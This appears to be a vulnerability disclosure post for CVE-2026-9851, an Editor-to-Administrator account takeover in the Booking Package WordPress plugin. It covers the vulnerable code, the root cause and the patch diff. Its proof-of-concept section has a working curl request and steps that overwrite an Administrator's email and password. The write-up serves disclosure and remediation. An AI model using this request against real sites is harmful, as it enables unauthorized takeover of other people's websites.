Booking Package WordPress plugin banner

CVE-2026-9851: Booking Package Account Takeover via updateUser (CVSS 7.2)

Updated 9 min read

CVE-2026-9851 is a CVSS 7.2 (High) authenticated privilege escalation vulnerability in the Booking Package WordPress plugin. An attacker with Editor-level access can change the email address and password of any account — including an Administrator — through the updateUser AJAX action, leading to a full site takeover.

Vulnerability Summary

FieldValue
Plugin NameBooking Package
Plugin Slugbooking-package
CVE IDCVE-2026-9851
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthenticated (Editor+) Privilege Escalation via Account Takeover
Affected Versions<= 1.7.16
Patched Version1.7.17
PublishedJune 5, 2026
ResearcherMd. Moniruzzaman Prodhan (NomanProdhan) - Knight Squad
Wordfence AdvisoryLink

Description

An attacker with Editor-level access can take over any account on the site, including the Administrator. The Booking Package plugin exposes an updateUser action through its main AJAX endpoint. The handler only checks a nonce. It never checks whether the current user is allowed to edit the target account.

The dispatcher calls the internal updateUser() function with its $administrator argument hard-coded to 1. That value disables the single ownership check inside the function. As a result, the target account is chosen only by attacker-supplied input, which is passed straight to wp_update_user().

Because of this, an Editor can submit the username of any Administrator together with a new email and password. The plugin then overwrites that Administrator’s credentials. This vulnerability affects all plugin versions up to and including 1.7.16.

Technical Analysis

Vulnerable Code Path

The plugin registers its main AJAX action for both logged-in and logged-out users.

File: index.php (lines 233–234)

add_action('wp_ajax_'.$this->action_control, array($this, 'wp_ajax_booking_package'));
add_action('wp_ajax_nopriv_'.$this->action_control, array($this, 'wp_ajax_booking_package'));

Here $this->action_control equals package_app_action. The handler wp_ajax_booking_package() validates only a nonce, then calls the dispatcher.

File: index.php (lines 4406–4427)

public function wp_ajax_booking_package(){

    $_POST['mode'] = sanitize_text_field( esc_html($_POST['mode']) );
    if (isset($_POST['nonce']) && check_ajax_referer($this->action_control . "_ajax", 'nonce')) {

        $response = $this->selectedMode();
        // ... encode and print $response
    }

    die();

}

The dispatcher selectedMode() routes each mode value to an internal function. It performs no capability check. For the updateUser mode it calls updateUser() with the first argument hard-coded to 1.

File: index.php (lines 4429–4469)

public function selectedMode(){

    $response = array('status' => 'error', 'mode' => $_POST['mode']);
    // ... no current_user_can() / is_user_logged_in() check here ...

    if ($_POST['mode'] == 'updateUser') {

        $response = $schedule->updateUser(1, null);   // $administrator hard-coded to 1

    }
    // ...
}

The vulnerable function lives in the Schedule class. The $administrator parameter controls the only ownership check.

File: lib/Schedule.php (lines 796–830)

public function updateUser($administrator, $accountKey){

    // ... extension validity check ...

    $currentUser = wp_get_current_user();
    if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {

        $response['error_messages'] = 'Error';
        return $response;

    }

    $user = get_user_by('login', sanitize_text_field($_POST['user_login']));
    // ... $userId = $user->ID; ...
}

The check on line 813 only runs when $administrator === 0. Because the dispatcher always passes 1, this branch is skipped. The function then looks up the target by the attacker-supplied user_login and updates it.

File: lib/Schedule.php (lines 849–868)

$userdata = array('ID' => $userId);
if (isset($_POST['user_email'])) {

    $userdata['user_email'] = $_POST['user_email'];   // attacker controlled
    // ...
}

if (isset($_POST['user_pass'])) {

    $login = 1;
    $userdata['user_pass'] = $_POST['user_pass'];     // attacker controlled

}

$user = wp_update_user($userdata);                     // rewrites email + password

How the Nonce Is Exposed

The endpoint is gated by a nonce, not by a capability. WordPress nonces are not authentication — they only confirm the request came from a page the user could load. The package_app_action_ajax nonce is printed into the plugin’s admin pages.

The plugin admin menu and its “Users” page are registered with the $editor_cap capability, which resolves to manage_categories.

File: index.php (lines 836–858)

$editor_cap = 'manage_categories';
// ...
add_menu_page($plugin_name, 'Booking Package', $editor_cap, ...);
add_submenu_page(__FILE__, $plugin_name, __('Users', 'booking-package'), $editor_cap, $this->plugin_name.'_members_page', array($this,'members_page'));

WordPress Editors hold manage_categories, so an Editor can open the “Users” page. That page creates the exact nonce the AJAX endpoint expects and prints it into the page for the front-end script.

File: index.php (lines 2416–2432)

public function members_page(){
    // ...
    $localize_script['action'] = $this->action_control;        // package_app_action
    $localize_script['nonce']  = wp_create_nonce($this->action_control."_ajax");
    // ... localized to the page as window.setting_data ...
}

An Editor loads this page, reads setting_data.nonce from the page source, and uses it to call the updateUser action. The nonce check passes, and the missing capability check lets the request proceed.

Root Cause

The plugin treats a valid nonce as proof of authorization. The updateUser dispatcher branch has no current_user_can() check. The internal updateUser() function then runs with $administrator = 1, which removes the only guard that ties the action to the current user. Target selection falls entirely to attacker-supplied input.

Attack Impact

An Editor can rewrite the email and password of any user, including every Administrator. After changing an Administrator’s password, the attacker logs in with that account and gains full control of the site. This breaks the privilege boundary between Editor and Administrator and results in complete site takeover.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

  • WordPress site with the booking-package plugin installed and activated, version <= 1.7.16
  • An account with Editor-level access (or higher, below Administrator) that the attacker controls
  • The username of a target Administrator account (e.g. admin)

Step-by-Step Reproduction

Step 1: Log in as the Editor

Sign in to /wp-admin/ with the Editor account. This account does not have the edit_users capability and cannot normally manage other users.

Step 2: Read the AJAX nonce

Open the plugin’s “Users” page in the browser:

/wp-admin/admin.php?page=booking-package_members_page

View the page source and find the localized nonce. It appears in the inline script as part of the setting_data object:

var setting_data = { "action": "package_app_action", "nonce": "a1b2c3d4e5", ... };

Copy the nonce value. Also copy the Editor’s session cookies from the browser (the wordpress_logged_in_* cookie).

Step 3: Call the updateUser action against the Administrator

Send the AJAX request with mode=updateUser, the target Administrator’s username, and a new email and password the attacker controls.

# Replace <SITE_URL>, <NONCE>, and the cookie value with your actual values.
# This rewrites the 'admin' account's email and password.
curl -s "<SITE_URL>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxx=<EDITOR_SESSION_COOKIE>" \
  --data-urlencode "action=package_app_action" \
  --data-urlencode "nonce=<NONCE>" \
  --data-urlencode "mode=updateUser" \
  --data-urlencode "user_login=admin" \
  --data-urlencode "user_email=attacker@evil.com" \
  --data-urlencode "user_pass=NewAdminPass123!"

Step 4: Confirm the response

A successful request returns JSON with "status":"success":

{"status":"success","login":1}

Step 5: Log in as the Administrator

Open /wp-login.php and sign in with username admin and the password set in Step 3 (NewAdminPass123!). The attacker now controls the Administrator account.

Expected Result

The target Administrator’s email address and password are overwritten with attacker-supplied values. The attacker logs in as the Administrator and gains full control of the site.

Verification

Check the wp_users table for the target account. The user_email column now holds attacker@evil.com, and the user_pass hash matches the new password. Logging in at /wp-login.php with the new credentials confirms the takeover.

Patch Analysis

What Changed

Version 1.7.17 adds authorization checks at two layers. The fix gates the dispatcher and hardens the internal updateUser() function so a missing or wrong $administrator value can no longer bypass authorization.

  • index.phpselectedMode(): The dispatcher now rejects the request up front unless the user is logged in and holds edit_others_posts, booking_package_manager, or booking_package_editor.
  • lib/Schedule.phpupdateUser(): The function now requires a logged-in user, blocks editing an Administrator account unless the caller also has manage_options, and blocks editing any other user unless the caller has edit_users.

The same hardening was applied to the related createUser() and deleteUser() functions.

Fix Explanation

The patched dispatcher stops unauthorized callers before any user-management code runs. This addresses the root cause — the missing capability check on the AJAX branch.

The added checks inside updateUser() provide defense-in-depth. The key control is the Administrator guard: even if a low-privilege user reaches the function, they cannot edit an account that holds manage_options unless they hold it too. A second check blocks editing any account other than the caller’s own without the edit_users capability. Together these stop the Editor-to-Administrator takeover regardless of the hard-coded $administrator value.

Code Diff (Key Changes)

--- a/index.php
+++ b/index.php
@@ public function selectedMode(){
-        $response = array('status' => 'error', 'mode' => $_POST['mode']);
+        $response = array('status' => 'error', 'mode' => sanitize_text_field($_POST['mode']) );
+        if (is_user_logged_in() === false || (current_user_can('edit_others_posts') === false && current_user_can('booking_package_manager') === false && current_user_can('booking_package_editor') === false) ) {
+
+            return $response;
+
+        }
--- a/lib/Schedule.php
+++ b/lib/Schedule.php
@@ public function updateUser($administrator, $accountKey){
-        $currentUser = wp_get_current_user();
-        if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {
-
-            $response['error_messages'] = 'Error';
-            return $response;
-
-        }
-
-        $user = get_user_by('login', sanitize_text_field($_POST['user_login']));
-        if ($user === false) {
-
-            return $response;
-
-        } else {
-
-            $userId = $user->ID;
-            $userOldEmail = $user->user_email;
-
-        }
+        if (is_user_logged_in() === false) {
+
+            $response['error_messages'] = 'Unauthorized: You must be logged in.';
+            return $response;
+
+        }
+
+        $currentUser = wp_get_current_user();
+        $user = get_user_by('login', sanitize_text_field($_POST['user_login']));
+        if ($user === false) {
+
+            return $response;
+
+        }
+
+        $userId = $user->ID;
+        $userOldEmail = $user->user_email;
+
+        if ( user_can( $userId, 'manage_options' ) && current_user_can( 'manage_options' ) === false ) {
+
+            $response['error_messages'] = 'Permission denied: You cannot edit an administrator account.';
+            return $response;
+
+        }
+
+        if ($currentUser->ID !== $userId && current_user_can('edit_users') === false) {
+
+            $response['error_messages'] = 'Permission denied: You cannot edit this user.';
+            return $response;
+
+        }
+
+        if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {
+
+            $response['error_messages'] = 'Error';
+            return $response;
+
+        }

Timeline

DateEvent
UnknownVulnerability discovered and reported by Md. Moniruzzaman Prodhan (NomanProdhan)
June 5, 2026Publicly disclosed by Wordfence
June 5, 2026Patched version 1.7.17 released

Remediation

Update the booking-package plugin to version 1.7.17 or later.

If an immediate update is not possible, restrict who holds Editor-level access on the site, and review all Administrator and Editor accounts for unexpected email or password changes. After updating, rotate the passwords of any accounts that may have been altered.

References

  1. Wordfence Advisory
  2. CVE-2026-9851
  3. WordPress Trac — Schedule.php (updateUser)
  4. WordPress Trac — index.php (selectedMode dispatcher)
  5. WordPress Trac Changeset 3558752
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee